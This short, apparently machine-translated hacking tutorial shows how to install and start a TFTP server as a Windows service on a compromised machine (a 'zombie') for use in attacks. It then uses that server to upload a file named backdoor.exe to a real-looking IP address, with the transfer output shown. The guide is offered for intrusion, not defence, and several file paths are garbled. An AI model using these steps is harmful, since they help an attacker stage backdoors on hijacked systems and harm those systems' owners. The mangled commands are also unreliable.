Create a TFTP server

We often use the tftp server in the Process of attacks. If you are not convenient to install the tftp server on your machine, you can install it on the zombie. This is a better method.
Let's first learn what TFTP is.
TFTP :( Trivial File Transfer Protocol). Small File Transfer Protocol.
TFTP: a network application, which is simpler than FTP and has fewer functions than FTP...

Keep in mind the basics. learning knowledge is the most important thing. If you have to learn it deeply, let's look at TCP/IP.

We first find the tftpd.exe file in the system. Generally, we can find the file in the % systemroot % system32dllcache directory. We recommend that you copy the file to another directory.

C:> copy your systemroot=system32dllcacheftpd.exe
% Systemroot % system32
1 file has been copied.

We will use the Resource in Windows 2000
Instsrv, a tool in Kits, creates a service. instsrv is used as follows. Of course, you can also use other tools (such as srvinstw and GUI ).

Add a service. Note that the service is automatically started when it is created.
C:> instsrv tftp c: winntsystem32ftpd.exe
The service was successfuly added!

Make sure that you go into the Control Panel and use
The Services applet to change the Account Name and
Password that this newly installed service will use
For its Security Context.

Start the service
C:> net start tftp
The tftp service is starting.
The tftp service has been started successfully.

Test whether the service works properly
C:> tftp-I 61.135.21.195 PUT backdoor.exe
Transfer successful: 4209 bytes in 1 second, 4209
Bytes/s

C:> dir tftpdroot
The volume in drive C is C
The serial number of the volume is 1E23-1907.

C: ftpdroot directory

<DIR>.
<DIR> ..
4,209 backdoor.exe
1 file, 4,209 bytes
2 directories, 94,113,792 available bytes

Note: If you upload a file, the system will automatically create a directory named tftproot in % systemdrive %. OK, all the work has been completed!